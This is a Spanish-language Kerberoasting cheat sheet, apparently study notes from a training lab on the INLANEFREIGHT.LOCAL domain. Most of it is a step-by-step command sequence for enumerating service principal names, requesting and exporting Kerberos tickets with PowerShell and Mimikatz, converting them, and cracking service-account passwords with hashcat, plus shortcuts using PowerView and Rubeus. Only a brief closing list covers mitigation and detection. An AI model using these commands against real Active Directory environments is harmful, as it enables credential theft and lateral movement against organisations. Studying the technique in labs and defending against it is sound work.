Kerberoasting desde Windows
📌 Enumeración de SPNs
setspn.exe -Q */*
Note
Esto lista todos los SPNs del dominio.
👉 Ignora los que son cuentas de máquina; te interesan SPNs vinculados a usuarios.

📌 Solicitar un TGS manualmente (PowerShell)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
Tip
Este comando solicita el TGS en la sesión actual — así es como Rubeus lo hace por defecto.
📌 Solicitar TGS de TODOS los SPNs (poco óptimo)
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim()
}
Warning
Esto genera tickets para cuentas de máquina también, por lo que tendrás mucha basura innecesaria.
📌 Extraer los tickets con Mimikatz
kerberos::list /export
Note
- Sin
base64 /out:true: genera.kirbidirectamente. - Con
base64 /out:true: te da el ticket en Base64, útil si no puedes mover archivos.

📌 Si usas Base64 → Limpieza y conversión al .kirbi
Eliminar saltos de línea:
echo "<BASE64>" | tr -d \\n
Guardar y decodificar:
cat encoded_file | base64 -d > sqldev.kirbi
📌 Convertir .kirbi a formato “john/hashcat”
python2.7 kirbi2john.py sqldev.kirbi
Esto genera crack_file → modificarlo:
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
📌 Cracking en Hashcat
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt
Success
Salida típica cuando encuentra la contraseña:
$krb5tgs$23$*sqldev... : database!
🚀 Versión rápida (herramientas automáticas)
PowerView
Get-DomainUser * -spn
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
Rubeus (lo más usado)
.\Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

Para crackear
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt

🛡️ Mitigation & Detection
-
Usar Managed Service Accounts (MSA/gMSA)
-
Contraseñas muy largas para cuentas con SPN
-
Auditar TGS con Event ID 4769 y 4770
-
Detectar picos de solicitudes RC4 (0x17)
-
No asignar SPNs a cuentas privilegiadas como Domain Admin